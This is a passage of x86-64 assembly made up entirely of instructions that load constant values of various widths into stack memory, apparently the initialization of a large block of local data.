mov qword [rsp + 0x93b8], rax
mov dword [rsp + 0x4a40], 0x46b2
mov dword [rsp + 0x4a44], 0xad34
mov eax, 0x786
mov word [rsp + 0xee4], ax
movabs rax, 0x73b63b15d8f219
mov qword [rsp + 0x93c0], rax
movabs rax, 0x7268bff7f7bdb3
mov qword [rsp + 0x93c8], rax
mov dword [rsp + 0x4a48], 0x4216
mov byte [rsp + 0x120], 0x35
mov byte [rsp + 0x121], 0x55
movabs rax, 0x7ab6ea8127bd92
mov qword [rsp + 0x93d0], rax
mov dword [rsp + 0x4a4c], 0x5a0f
movabs rax, 0x71c5673fcc90a9
mov qword [rsp + 0x93d8], rax
mov byte [rsp + 0x122], 0x31
movabs rax, 0x7dac234e113a01
mov qword [rsp + 0x93e0], rax
movabs rax, 0x74234cc7822a58
mov qword [rsp + 0x93e8], rax
movabs rax, 0x7d6f5d679223a1
mov qword [rsp + 0x93f0], rax
mov dword [rsp + 0x4a50], 0x427d
mov eax, 0x15b
mov word [rsp + 0xee8], ax
movabs rax, 0x7cae88a4b92db6
mov qword [rsp + 0x93f8], rax
mov eax, 0x595
mov word [rsp + 0xeec], ax
mov dword [rsp + 0x4a54], 0x92d3
mov dword [rsp + 0x4a58], 0xa2e3
movabs rax, 0x7a8a07ac7a34f1
mov qword [rsp + 0x9400], rax
mov byte [rsp + 0x123], 0x33
mov byte [rsp + 0x124], 0xf7
mov eax, 0x280
mov word [rsp + 0xef0], ax
movabs rax, 0x758c4de7cb73a8
mov qword [rsp + 0x9408], rax
mov dword [rsp + 0x4a5c], 0x5705
movabs rax, 0x7ef166d527c7b8
mov qword [rsp + 0x9410], rax
mov byte [rsp + 0x125], 0x6f
mov eax, 0x56d
mov word [rsp + 0xef4], ax
movabs rax, 0x7b3b6db24995e4
mov qword [rsp + 0x9418], rax
mov dword [rsp + 0x4a60], 0x98ae
mov byte [rsp + 0x126], 0x7e
movabs rax, 0x77a4bd3a8ecd69
mov qword [rsp + 0x9420], rax
mov eax, 0x941
mov word [rsp + 0xef8], ax
movabs rax, 0x7dc3ca0398cd3b
mov qword [rsp + 0x9428], rax
mov byte [rsp + 0x127], 0x60
mov eax, 0x9c0
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x4a64], 0xd40
movabs rax, 0x704ce244ffc5d2
mov qword [rsp + 0x9430], rax
mov dword [rsp + 0x4a68], 0x2e7c
movabs rax, 0x7339def01851b7
mov qword [rsp + 0x9438], rax
movabs rax, 0x78051285fc5d28
mov qword [rsp + 0x9440], rax
movabs rax, 0x710f9f67ad2141
mov qword [rsp + 0x9448], rax
movabs rax, 0x71acf9d423967e
mov qword [rsp + 0x9450], rax
mov byte [rsp + 0x128], 0x4f
movabs rax, 0x7cabf7d174ffde
mov qword [rsp + 0x9458], rax
mov eax, 0xc8e
mov word [rsp + 0xf00], ax
mov dword [rsp + 0x4a6c], 0x1d75
mov dword [rsp + 0x4a70], 0x5cad
mov byte [rsp + 0x129], 6
movabs rax, 0x742d98ac0094ac
mov qword [rsp + 0x9460], rax
mov eax, 0x463
mov word [rsp + 0xf04], ax
mov eax, 0x5c8
mov word [rsp + 0xf08], ax
mov eax, 0x41a
mov word [rsp + 0xf0c], ax
mov dword [rsp + 0x4a74], 0x74a7
mov dword [rsp + 0x4a78], 0x5c71
mov dword [rsp + 0x4a7c], 0x6c41
mov byte [rsp + 0x12a], 0x13
movabs rax, 0x7eaf91fb3cd862
mov qword [rsp + 0x9468], rax
mov eax, 0x3f6
mov word [rsp + 0xf10], ax
mov byte [rsp + 0x12b], 0x49
mov byte [rsp + 0x12c], 0x11
mov dword [rsp + 0x4a80], 0x235
mov byte [rsp + 0x12d], 0x17
movabs rax, 0x779dac0c9c1ab2
mov qword [rsp + 0x9470], rax
mov dword [rsp + 0x4a84], 0x2fbf
movabs rax, 0x76476c577bedf7
mov qword [rsp + 0x9478], rax
mov eax, 0x7f5
mov word [rsp + 0xf14], ax
mov eax, 0xf24
mov word [rsp + 0xf18], ax
movabs rax, 0x78e5a512a7e718
mov qword [rsp + 0x9480], rax
mov byte [rsp + 0x12e], 0x9b
mov dword [rsp + 0x4a88], 0xf085
mov eax, 0x2d1
mov word [rsp + 0xf1c], ax
mov eax, 0x92b
mov word [rsp + 0xf20], ax
movabs rax, 0x7a636d08102475
mov qword [rsp + 0x9488], rax
mov eax, 0x7f9
mov word [rsp + 0xf24], ax
movabs rax, 0x7b4884a3e06585
mov qword [rsp + 0x9490], rax
movabs rax, 0x792acdae1c89e4
mov qword [rsp + 0x9498], rax
mov dword [rsp + 0x4a8c], 0x3417
movabs rax, 0x770e8b187e7070
mov qword [rsp + 0x94a0], rax
movabs rax, 0x74c5a90ed8dd96
mov qword [rsp + 0x94a8], rax
mov dword [rsp + 0x4a90], 0x45e1
mov dword [rsp + 0x4a94], 0x76
mov byte [rsp + 0x12f], 0x58
mov eax, 0x710
mov word [rsp + 0xf28], ax
mov dword [rsp + 0x4a98], 0xa1b6
mov byte [rsp + 0x130], 0x39
mov dword [rsp + 0x4a9c], 0x9dd
movabs rax, 0x718935fc88eeec
mov qword [rsp + 0x94b0], rax
mov dword [rsp + 0x4aa0], 0x1e9e
mov dword [rsp + 0x4aa4], 0x385f
mov byte [rsp + 0x131], 0x52
mov dword [rsp + 0x4aa8], 0x772b
mov byte [rsp + 0x132], 0x59
mov eax, 0xae
mov word [rsp + 0xf2c], ax
mov dword [rsp + 0x4aac], 0xf08
mov byte [rsp + 0x133], 0x7b
movabs rax, 0x722fe24db12ae7
mov qword [rsp + 0x94b8], rax
movabs rax, 0x7ceabb67bf6209
mov qword [rsp + 0x94c0], rax
mov dword [rsp + 0x4ab0], 0x5e3a
movabs rax, 0x7843c699a8f5af
mov qword [rsp + 0x94c8], rax
mov byte [rsp + 0x134], 0xbb
movabs rax, 0x7009d62b41ef41
mov qword [rsp + 0x94d0], rax
mov eax, 0x10e
mov word [rsp + 0xf30], ax
movabs rax, 0x74a0cbb706d560
mov qword [rsp + 0x94d8], rax
mov eax, 0xc5f
mov word [rsp + 0xf34], ax
movabs rax, 0x7090ff96016af4
mov qword [rsp + 0x94e0], rax
mov dword [rsp + 0x4ab4], 0x5e4d
mov dword [rsp + 0x4ab8], 0x50a0
mov dword [rsp + 0x4abc], 0x49e
mov eax, 0x335
mov word [rsp + 0xf38], ax
mov byte [rsp + 0x135], 0x36
movabs rax, 0x798b2f0609b088
mov qword [rsp + 0x94e8], rax
movabs rax, 0x78cb6c84ccc40d
mov qword [rsp + 0x94f0], rax
mov dword [rsp + 0x4ac0], 0x990
mov eax, 0x6ec
mov word [rsp + 0xf3c], ax
mov byte [rsp + 0x136], 0x19
movabs rax, 0x779f022a2b66cf
mov qword [rsp + 0x94f8], rax
mov byte [rsp + 0x137], 0x51
movabs rax, 0x70d13146707f28
mov qword [rsp + 0x9500], rax
mov eax, 0x561
mov word [rsp + 0xf40], ax
mov dword [rsp + 0x4ac4], 0xc9
mov dword [rsp + 0x4ac8], 0x5be
mov eax, 0x775
mov word [rsp + 0xf44], ax
movabs rax, 0x75c8ec61103f1e
mov qword [rsp + 0x9508], rax
mov eax, 0x48e
mov word [rsp + 0xf48], ax
movabs rax, 0x740bbff3a217f2
mov qword [rsp + 0x9510], rax
mov dword [rsp + 0x4acc], 0x3ec0
mov dword [rsp + 0x4ad0], 0x2c9
movabs rax, 0x704e18b45f5d89
mov qword [rsp + 0x9518], rax
mov dword [rsp + 0x4ad4], 0x842c
mov eax, 0x62d
mov word [rsp + 0xf4c], ax
mov eax, 0x9cb
mov word [rsp + 0xf50], ax
movabs rax, 0x7ccdcf973d91ed
mov qword [rsp + 0x9520], rax
movabs rax, 0x78dd684ad0a2b8
mov qword [rsp + 0x9528], rax
mov dword [rsp + 0x4ad8], 0x8ca1
mov eax, 0x5e4
mov word [rsp + 0xf54], ax
movabs rax, 0x7260c40e229643
mov qword [rsp + 0x9530], rax
movabs rax, 0x71e79a696419d8
mov qword [rsp + 0x9538], rax
mov byte [rsp + 0x138], 0xd6
movabs rax, 0x7ac234db1810fe
mov qword [rsp + 0x9540], rax
mov eax, 0x99
mov word [rsp + 0xf58], ax
movabs rax, 0x79bb38708a7de4
mov qword [rsp + 0x9548], rax
mov byte [rsp + 0x139], 0x21
mov dword [rsp + 0x4adc], 0xd849
mov eax, 0x696
mov word [rsp + 0xf5c], ax
mov eax, 0x9ea
mov word [rsp + 0xf60], ax
mov eax, 0x345
mov word [rsp + 0xf64], ax
mov dword [rsp + 0x4ae0], 0x7ece
mov byte [rsp + 0x13a], 0xa8
mov eax, 0x124
mov word [rsp + 0xf68], ax
mov dword [rsp + 0x4ae4], 0x5de
movabs rax, 0x715f49ad176110
mov qword [rsp + 0x9550], rax
mov byte [rsp + 0x13b], 6
mov byte [rsp + 0x13c], 0x61
mov eax, 0x1fc
mov word [rsp + 0xf6c], ax
mov byte [rsp + 0x13d], 0x6e
movabs rax, 0x7d0354346db1a0
mov qword [rsp + 0x9558], rax
mov eax, 0x401
mov word [rsp + 0xf70], ax
mov byte [rsp + 0x13e], 0x71
movabs rax, 0x74d6c7adc2e8ac
mov qword [rsp + 0x9560], rax
movabs rax, 0x7717250bbb1cb8
mov qword [rsp + 0x9568], rax
movabs rax, 0x75d49efab6ec01
mov qword [rsp + 0x9570], rax
mov byte [rsp + 0x13f], 0x26
mov eax, 0xeae
mov word [rsp + 0xf74], ax
mov byte [rsp + 0x140], 0x23
mov eax, 0x6e8
mov word [rsp + 0xf78], ax
movabs rax, 0x7bb4285eb90d81
mov qword [rsp + 0x9578], rax
movabs rax, 0x77b559fd1364bd
mov qword [rsp + 0x9580], rax
movabs rax, 0x76db1ca62b6e06
mov qword [rsp + 0x9588], rax
mov eax, 0x499
mov word [rsp + 0xf7c], ax
mov eax, 0x510
mov word [rsp + 0xf80], ax
movabs rax, 0x7e9512f5625a56
mov qword [rsp + 0x9590], rax
movabs rax, 0x73056791bdfef8
mov qword [rsp + 0x9598], rax
movabs rax, 0x759454165edd84
mov qword [rsp + 0x95a0], rax
mov dword [rsp + 0x4ae8], 0x2d8c
mov dword [rsp + 0x4aec], 0x5959
mov dword [rsp + 0x4af0], 0x34f3
mov eax, 0x5e9
mov word [rsp + 0xf84], ax
movabs rax, 0x7459e4dde0968a
mov qword [rsp + 0x95a8], rax
mov byte [rsp + 0x141], 0x66
mov byte [rsp + 0x142], 2
mov byte [rsp + 0x143], 0x93
movabs rax, 0x7044d381abf976
mov qword [rsp + 0x95b0], rax
mov eax, 0x170
mov word [rsp + 0xf88], ax
movabs rax, 0x7a2fae9b6644f6
mov qword [rsp + 0x95b8], rax
mov eax, 0xcdf
mov word [rsp + 0xf8c], ax
mov byte [rsp + 0x144], 0x59
mov dword [rsp + 0x4af4], 0x35b2
mov dword [rsp + 0x4af8], 0x55cb
mov byte [rsp + 0x145], 0x99
movabs rax, 0x7ad6f969efeba3
mov qword [rsp + 0x95c0], rax
mov dword [rsp + 0x4afc], 0xe91
mov dword [rsp + 0x4b00], 0xaf76
mov eax, 0x17c
mov word [rsp + 0xf90], ax
mov dword [rsp + 0x4b04], 0x36e4
mov dword [rsp + 0x4b08], 0x2352
movabs rax, 0x7680c6675887bb
mov qword [rsp + 0x95c8], rax
mov dword [rsp + 0x4b0c], 0x6789
mov eax, 0x243
mov word [rsp + 0xf94], ax
mov byte [rsp + 0x146], 0x98
movabs rax, 0x7c0add7c981362
mov qword [rsp + 0x95d0], rax
mov byte [rsp + 0x147], 0x29
mov dword [rsp + 0x4b10], 0x664b
movabs rax, 0x7d8bc199c428d3
mov qword [rsp + 0x95d8], rax
mov dword [rsp + 0x4b14], 0x3f36
movabs rax, 0x770ac7ed5edd61
mov qword [rsp + 0x95e0], rax
movabs rax, 0x71a8e482a5f8db
mov qword [rsp + 0x95e8], rax
mov eax, 0x646
mov word [rsp + 0xf98], ax
movabs rax, 0x7b737b399fe8ce
mov qword [rsp + 0x95f0], rax
movabs rax, 0x74be4cb0f9aa4c
mov qword [rsp + 0x95f8], rax
movabs rax, 0x738d9c31ba0d92
mov qword [rsp + 0x9600], rax
mov dword [rsp + 0x4b18], 0x228f
mov eax, 0x9f
mov word [rsp + 0xf9c], ax
mov byte [rsp + 0x148], 0xe7
mov dword [rsp + 0x4b1c], 0x6f1e
movabs rax, 0x7b42606a14662b
mov qword [rsp + 0x9608], rax
movabs rax, 0x75dfd94afcffde
mov qword [rsp + 0x9610], rax
mov dword [rsp + 0x4b20], 0x2505
movabs rax, 0x7c6d0d441a6424
mov qword [rsp + 0x9618], rax
mov byte [rsp + 0x149], 0x8e
mov byte [rsp + 0x14a], 0x12
mov byte [rsp + 0x14b], 0x62
mov dword [rsp + 0x4b24], 0x66f1
mov byte [rsp + 0x14c], 0x23
movabs rax, 0x79bb2d4af5b112
mov qword [rsp + 0x9620], rax
mov dword [rsp + 0x4b28], 0xbb67
mov eax, 0xa0
mov word [rsp + 0xfa0], ax
mov byte [rsp + 0x14d], 0x41
mov dword [rsp + 0x4b2c], 0x2b7a
mov byte [rsp + 0x14e], 0x2e
movabs rax, 0x7525b5c7b53295
mov qword [rsp + 0x9628], rax
mov dword [rsp + 0x4b30], 0x67da
mov dword [rsp + 0x4b34], 0x1fdf
mov dword [rsp + 0x4b38], 0xb99d
mov eax, 0x477
mov word [rsp + 0xfa4], ax
mov dword [rsp + 0x4b3c], 0xc926
mov eax, 0xe8e
mov word [rsp + 0xfa8], ax
movabs rax, 0x7766a915e19e14
mov qword [rsp + 0x9630], rax
mov byte [rsp + 0x14f], 0x7c
mov eax, 0x6a0
mov word [rsp + 0xfac], ax
mov byte [rsp + 0x150], 0x54
movabs rax, 0x7b1d3de2fb0f48
mov qword [rsp + 0x9638], rax
mov dword [rsp + 0x4b40], 0x4c02
movabs rax, 0x717a70ed0518c5
mov qword [rsp + 0x9640], rax
movabs rax, 0x77e25d894be6ba
mov qword [rsp + 0x9648], rax
mov byte [rsp + 0x151], 0xcf
mov byte [rsp + 0x152], 0xa
mov dword [rsp + 0x4b44], 0xeda3
mov dword [rsp + 0x4b48], 0x2011
mov byte [rsp + 0x153], 0x10
mov dword [rsp + 0x4b4c], 0x945
mov dword [rsp + 0x4b50], 0x46c2
mov dword [rsp + 0x4b54], 0x6784
mov eax, 0x13b
mov word [rsp + 0xfb0], ax
mov eax, 0x925
mov word [rsp + 0xfb4], ax
movabs rax, 0x74f0ecd2851f23
mov qword [rsp + 0x9650], rax
mov eax, 0x61
mov word [rsp + 0xfb8], ax
movabs rax, 0x7e9dc7d1714d6d
mov qword [rsp + 0x9658], rax
movabs rax, 0x759bd13c83a561
mov qword [rsp + 0x9660], rax
movabs rax, 0x7d27af75928a0a
mov qword [rsp + 0x9668], rax
mov dword [rsp + 0x4b58], 0x3c47
movabs rax, 0x77b65e7aee356a
mov qword [rsp + 0x9670], rax
mov eax, 0xcd
mov word [rsp + 0xfbc], ax
movabs rax, 0x774b8ceec89864
mov qword [rsp + 0x9678], rax
movabs rax, 0x7b941aad446a11
mov qword [rsp + 0x9680], rax
movabs rax, 0x7da3675efad004
mov qword [rsp + 0x9688], rax
mov dword [rsp + 0x4b5c], 0x6ead
movabs rax, 0x7e4694a20fd310
mov qword [rsp + 0x9690], rax
mov eax, 0xe4
mov word [rsp + 0xfc0], ax
movabs rax, 0x7acecf7797d78f
mov qword [rsp + 0x9698], rax
mov eax, 0x129
mov word [rsp + 0xfc4], ax
mov eax, 0x319
mov word [rsp + 0xfc8], ax
movabs rax, 0x7e277ac0f3eed7
mov qword [rsp + 0x96a0], rax
mov eax, 0x238
mov word [rsp + 0xfcc], ax
mov dword [rsp + 0x4b60], 0xa1e2
mov eax, 0x421
mov word [rsp + 0xfd0], ax
mov dword [rsp + 0x4b64], 0xa5ae
mov byte [rsp + 0x154], 0xe8
mov eax, 0xd9d
mov word [rsp + 0xfd4], ax
mov dword [rsp + 0x4b68], 0xbf5
movabs rax, 0x73fad3319e475c
mov qword [rsp + 0x96a8], rax
mov dword [rsp + 0x4b6c], 0x5d65
mov byte [rsp + 0x155], 0x2a
mov dword [rsp + 0x4b70], 0x380e
mov eax, 0xe75
mov word [rsp + 0xfd8], ax
mov eax, 0x176
mov word [rsp + 0xfdc], ax
movabs rax, 0x73882757d4d864
mov qword [rsp + 0x96b0], rax
mov eax, 0x7fa
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x4b74], 0xe79e
movabs rax, 0x7d0ab0378b093a
mov qword [rsp + 0x96b8], rax
movabs rax, 0x779b5cfc108934
mov qword [rsp + 0x96c0], rax
mov dword [rsp + 0x4b78], 0x3d51
mov byte [rsp + 0x156], 0xcc
mov eax, 0x8de
mov word [rsp + 0xfe4], ax
mov eax, 0x630
mov word [rsp + 0xfe8], ax
mov eax, 0xd05
mov word [rsp + 0xfec], ax
movabs rax, 0x7abbc33a408061
mov qword [rsp + 0x96c8], rax
mov byte [rsp + 0x157], 0xfa
mov eax, 0x99f
mov word [rsp + 0xff0], ax
movabs rax, 0x748fbc85614299
mov qword [rsp + 0x96d0], rax
movabs rax, 0x7190709487ee68
mov qword [rsp + 0x96d8], rax
movabs rax, 0x7d4bbe3d1d9d3c
mov qword [rsp + 0x96e0], rax
mov dword [rsp + 0x4b7c], 0x365
mov eax, 0x6b
mov word [rsp + 0xff4], ax
mov eax, 0xc7a
mov word [rsp + 0xff8], ax
mov eax, 0x2aa
mov word [rsp + 0xffc], ax
mov dword [rsp + 0x4b80], 0x9601
movabs rax, 0x7809ee96e0947f
mov qword [rsp + 0x96e8], rax
mov eax, 0x2f5
mov word [rsp + 0x1000], ax
mov dword [rsp + 0x4b84], 0x79ef
mov dword [rsp + 0x4b88], 0x3e0b
mov byte [rsp + 0x158], 0x8c
movabs rax, 0x7343c1afe9e9f0
mov qword [rsp + 0x96f0], rax
mov byte [rsp + 0x159], 0x6f
movabs rax, 0x7da3cbf5829c83
mov qword [rsp + 0x96f8], rax
movabs rax, 0x7617ce0c00a052
mov qword [rsp + 0x9700], rax
mov byte [rsp + 0x15a], 0x4c
mov eax, 0x12d
mov word [rsp + 0x1004], ax
mov eax, 0xd33
mov word [rsp + 0x1008], ax
movabs rax, 0x724eaacbdcc4b8
mov qword [rsp + 0x9708], rax
mov dword [rsp + 0x4b8c], 0xee05
mov eax, 0xf3a
mov word [rsp + 0x100c], ax
movabs rax, 0x753cb1bd4e24f9
mov qword [rsp + 0x9710], rax
mov dword [rsp + 0x4b90], 0x6ec2
movabs rax, 0x7db20148e6d9d2
mov qword [rsp + 0x9718], rax
mov eax, 0x541
mov word [rsp + 0x1010], ax
mov eax, 0x246
mov word [rsp + 0x1014], ax
mov eax, 0xb9d
mov word [rsp + 0x1018], ax
movabs rax, 0x7454ccf1c14897
mov qword [rsp + 0x9720], rax
mov byte [rsp + 0x15b], 0x14
movabs rax, 0x72d7da81705421
mov qword [rsp + 0x9728], rax
mov dword [rsp + 0x4b94], 0xbf
movabs rax, 0x7259519bccf143
mov qword [rsp + 0x9730], rax
mov eax, 0x92
mov word [rsp + 0x101c], ax
mov dword [rsp + 0x4b98], 0x2d90
mov byte [rsp + 0x15c], 0x43
mov byte [rsp + 0x15d], 0x5b
mov byte [rsp + 0x15e], 0x86
mov byte [rsp + 0x15f], 0x3d
mov eax, 0x61
mov word [rsp + 0x1020], ax
movabs rax, 0x7370a7d230be4d
mov qword [rsp + 0x9738], rax
mov dword [rsp + 0x4b9c], 0x71e9
mov eax, 0x42f
mov word [rsp + 0x1024], ax
movabs rax, 0x73f9a0cf4d1c7e
mov qword [rsp + 0x9740], rax
mov dword [rsp + 0x4ba0], 0x6da8
mov eax, 0x2e
mov word [rsp + 0x1028], ax
mov dword [rsp + 0x4ba4], 0x466c
mov dword [rsp + 0x4ba8], 0xc0e2
movabs rax, 0x7beed9efc8234a
mov qword [rsp + 0x9748], rax
mov eax, 0x1f
mov word [rsp + 0x102c], ax
mov dword [rsp + 0x4bac], 0x359
mov dword [rsp + 0x4bb0], 0x2526
movabs rax, 0x75a27479f068bd
mov qword [rsp + 0x9750], rax
movabs rax, 0x717a2d23eaa6e6
mov qword [rsp + 0x9758], rax
movabs rax, 0x76e10897cdc82c
mov qword [rsp + 0x9760], rax
mov byte [rsp + 0x160], 0x99
mov eax, 0x7a8
mov word [rsp + 0x1030], ax
mov dword [rsp + 0x4bb4], 0xd50e
mov dword [rsp + 0x4bb8], 0x8f2
mov dword [rsp + 0x4bbc], 0x6c5a
mov dword [rsp + 0x4bc0], 0x78dd
mov dword [rsp + 0x4bc4], 0x16fb
mov eax, 0xe7
mov word [rsp + 0x1034], ax
mov eax, 0x23a
mov word [rsp + 0x1038], ax
movabs rax, 0x770239e286e132
mov qword [rsp + 0x9768], rax
mov dword [rsp + 0x4bc8], 0x770a
mov byte [rsp + 0x161], 0x73
movabs rax, 0x781d497d1c8687
mov qword [rsp + 0x9770], rax
mov eax, 0xfb5
mov word [rsp + 0x103c], ax
mov dword [rsp + 0x4bcc], 0x705b
mov eax, 0x601
mov word [rsp + 0x1040], ax
mov eax, 0x7bb
mov word [rsp + 0x1044], ax
movabs rax, 0x736f28c1381233
mov qword [rsp + 0x9778], rax
movabs rax, 0x7cc5518ac71304
mov qword [rsp + 0x9780], rax
mov dword [rsp + 0x4bd0], 0x2d45
mov eax, 0xce
mov word [rsp + 0x1048], ax
mov eax, 0x17e
mov word [rsp + 0x104c], ax
mov byte [rsp + 0x162], 0x7f
mov byte [rsp + 0x163], 1
mov dword [rsp + 0x4bd4], 0xc3af
movabs rax, 0x73566cf0a434a6
mov qword [rsp + 0x9788], rax
mov eax, 0x44e
mov word [rsp + 0x1050], ax
mov eax, 0xfac
mov word [rsp + 0x1054], ax
mov byte [rsp + 0x164], 0x30
mov eax, 0xe8
mov word [rsp + 0x1058], ax
mov eax, 0x4b9
mov word [rsp + 0x105c], ax
mov eax, 0x451
mov word [rsp + 0x1060], ax
mov byte [rsp + 0x165], 0x22
mov dword [rsp + 0x4bd8], 0x7dbf
movabs rax, 0x73f3225db9dc61
mov qword [rsp + 0x9790], rax
mov byte [rsp + 0x166], 0x29
mov dword [rsp + 0x4bdc], 0xffd2
mov dword [rsp + 0x4be0], 0x6209
mov dword [rsp + 0x4be4], 0x425d
mov byte [rsp + 0x167], 0x89
mov dword [rsp + 0x4be8], 0x1958
mov eax, 0x79c
mov word [rsp + 0x1064], ax
mov eax, 0x8ea
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x4bec], 0xb47b
mov eax, 0x2cc
mov word [rsp + 0x106c], ax
mov byte [rsp + 0x168], 0x13
mov eax, 0x272
mov word [rsp + 0x1070], ax
mov byte [rsp + 0x169], 0x26
movabs rax, 0x7e5291175101a0
mov qword [rsp + 0x9798], rax
mov byte [rsp + 0x16a], 0x41
mov dword [rsp + 0x4bf0], 0xd0c9
mov byte [rsp + 0x16b], 0x2a
mov dword [rsp + 0x4bf4], 0x3c37
movabs rax, 0x78cc9a40ab429a
mov qword [rsp + 0x97a0], rax
mov eax, 0x55c
mov word [rsp + 0x1074], ax
mov eax, 0x10c
mov word [rsp + 0x1078], ax
movabs rax, 0x7ca38bace5e56f
mov qword [rsp + 0x97a8], rax
mov byte [rsp + 0x16c], 0xc4
mov dword [rsp + 0x4bf8], 0x3fb7
mov byte [rsp + 0x16d], 0x21
mov dword [rsp + 0x4bfc], 0x20b8
mov dword [rsp + 0x4c00], 0x4691
movabs rax, 0x70d847460c83ed
mov qword [rsp + 0x97b0], rax
mov dword [rsp + 0x4c04], 0x4cfe
mov dword [rsp + 0x4c08], 0x7289
mov dword [rsp + 0x4c0c], 0xcdc
mov eax, 0x773
mov word [rsp + 0x107c], ax
movabs rax, 0x77955481e2847a
mov qword [rsp + 0x97b8], rax
mov dword [rsp + 0x4c10], 0x9a20
mov eax, 0x74b
mov word [rsp + 0x1080], ax
movabs rax, 0x7bcc48d8a81e0e
mov qword [rsp + 0x97c0], rax
mov dword [rsp + 0x4c14], 0x3ed6
mov byte [rsp + 0x16e], 4
mov eax, 0x5a
mov word [rsp + 0x1084], ax
mov eax, 0x40d
mov word [rsp + 0x1088], ax
mov dword [rsp + 0x4c18], 0xd965
mov dword [rsp + 0x4c1c], 0xc486
movabs rax, 0x79fa7eee1cce7d
mov qword [rsp + 0x97c8], rax
mov byte [rsp + 0x16f], 0x37
mov eax, 0xfb3
mov word [rsp + 0x108c], ax
mov dword [rsp + 0x4c20], 0x54c1
mov eax, 0x46b
mov word [rsp + 0x1090], ax
mov dword [rsp + 0x4c24], 0x7dfc
mov dword [rsp + 0x4c28], 0x5710
mov dword [rsp + 0x4c2c], 0x4221
mov eax, 0x6cd
mov word [rsp + 0x1094], ax
mov dword [rsp + 0x4c30], 0xd96c
movabs rax, 0x7426b6855d1b04
mov qword [rsp + 0x97d0], rax
movabs rax, 0x7802bb7b24e63c
mov qword [rsp + 0x97d8], rax
movabs rax, 0x723f809cea500d
mov qword [rsp + 0x97e0], rax
mov eax, 0x556
mov word [rsp + 0x1098], ax
movabs rax, 0x7e0d182313327f
mov qword [rsp + 0x97e8], rax
mov eax, 0xec7
mov word [rsp + 0x109c], ax
mov eax, 0x367
mov word [rsp + 0x10a0], ax
movabs rax, 0x789dc49b4fa055
mov qword [rsp + 0x97f0], rax
mov dword [rsp + 0x4c34], 0x6543
movabs rax, 0x7a2dac195cae0d
mov qword [rsp + 0x97f8], rax
mov byte [rsp + 0x170], 0x2b
movabs rax, 0x76c81cee50ad6b
mov qword [rsp + 0x9800], rax
mov eax, 0x13f
mov word [rsp + 0x10a4], ax
mov eax, 0xd9a
mov word [rsp + 0x10a8], ax
mov dword [rsp + 0x4c38], 0x544a
movabs rax, 0x76d835f12057d0
mov qword [rsp + 0x9808], rax
movabs rax, 0x7b04f594bb955d
mov qword [rsp + 0x9810], rax
mov dword [rsp + 0x4c3c], 0x7fee
movabs rax, 0x7731b578a1eef6
mov qword [rsp + 0x9818], rax
mov eax, 0x623
mov word [rsp + 0x10ac], ax
movabs rax, 0x7d23a5c8bb0966
mov qword [rsp + 0x9820], rax
mov dword [rsp + 0x4c40], 0x6445
mov eax, 0x1ad
mov word [rsp + 0x10b0], ax
movabs rax, 0x7a7302102893f9
mov qword [rsp + 0x9828], rax
mov eax, 0xf76
mov word [rsp + 0x10b4], ax
mov dword [rsp + 0x4c44], 0xb85b
movabs rax, 0x76fc8ce5fdcf56
mov qword [rsp + 0x9830], rax
movabs rax, 0x796619469d135d
mov qword [rsp + 0x9838], rax
movabs rax, 0x73d84086128611
mov qword [rsp + 0x9840], rax
mov byte [rsp + 0x171], 0x23
mov eax, 0x562
mov word [rsp + 0x10b8], ax
movabs rax, 0x758d54427c3662
mov qword [rsp + 0x9848], rax
mov eax, 0x559
mov word [rsp + 0x10bc], ax
mov eax, 0x141
mov word [rsp + 0x10c0], ax
movabs rax, 0x78a4f0bff825e2
mov qword [rsp + 0x9850], rax
mov dword [rsp + 0x4c48], 0xe7f3
mov dword [rsp + 0x4c4c], 0xb636
mov dword [rsp + 0x4c50], 0x57f1
mov eax, 0x100
mov word [rsp + 0x10c4], ax
mov dword [rsp + 0x4c54], 0x2ba4
movabs rax, 0x728be46dc529fa
mov qword [rsp + 0x9858], rax
mov dword [rsp + 0x4c58], 0xaf69
movabs rax, 0x7a255ac78b3c77
mov qword [rsp + 0x9860], rax
mov eax, 0x116
mov word [rsp + 0x10c8], ax
mov byte [rsp + 0x172], 0x62
mov eax, 0xab5
mov word [rsp + 0x10cc], ax
mov dword [rsp + 0x4c5c], 0x6b6b
mov eax, 0x7da
mov word [rsp + 0x10d0], ax
movabs rax, 0x79bd71bcc8971d
mov qword [rsp + 0x9868], rax
movabs rax, 0x79ba2fd7ab66ad
mov qword [rsp + 0x9870], rax
movabs rax, 0x73d08d8f09c32f
mov qword [rsp + 0x9878], rax
mov byte [rsp + 0x173], 0x4b
mov byte [rsp + 0x174], 0x6e
movabs rax, 0x72706f780f561e
mov qword [rsp + 0x9880], rax
mov byte [rsp + 0x175], 0x12
mov byte [rsp + 0x176], 0x5b
movabs rax, 0x7efcf6778114d8
mov qword [rsp + 0x9888], rax
mov eax, 0x935
mov word [rsp + 0x10d4], ax
mov byte [rsp + 0x177], 0xde
mov dword [rsp + 0x4c60], 0xd81c
mov dword [rsp + 0x4c64], 0x7865
mov dword [rsp + 0x4c68], 0x1128
mov eax, 0xd27
mov word [rsp + 0x10d8], ax
mov byte [rsp + 0x178], 0xa6
mov eax, 5
mov word [rsp + 0x10dc], ax
movabs rax, 0x714a9aecdbe143
mov qword [rsp + 0x9890], rax
mov byte [rsp + 0x179], 0x54
mov byte [rsp + 0x17a], 0x49
mov eax, 0x89
mov word [rsp + 0x10e0], ax
mov dword [rsp + 0x4c6c], 0x7658
mov eax, 0x580
mov word [rsp + 0x10e4], ax
movabs rax, 0x7267f09e3ebd7b
mov qword [rsp + 0x9898], rax
mov dword [rsp + 0x4c70], 0x2193
mov dword [rsp + 0x4c74], 0xd68c
mov byte [rsp + 0x17b], 0x15
mov byte [rsp + 0x17c], 0x21
mov eax, 0x962
mov word [rsp + 0x10e8], ax
mov eax, 0x2f1
mov word [rsp + 0x10ec], ax
mov eax, 0x13a
mov word [rsp + 0x10f0], ax
mov dword [rsp + 0x4c78], 0x4d3e
mov dword [rsp + 0x4c7c], 0x560c
mov byte [rsp + 0x17d], 0x30
mov byte [rsp + 0x17e], 0x9b
mov eax, 0x8da
mov word [rsp + 0x10f4], ax
movabs rax, 0x756f76106c5746
mov qword [rsp + 0x98a0], rax
mov eax, 0x149
mov word [rsp + 0x10f8], ax
mov eax, 0x1e0
mov word [rsp + 0x10fc], ax
mov eax, 0x61
mov word [rsp + 0x1100], ax
mov dword [rsp + 0x4c80], 0x651e
mov eax, 0x3e3
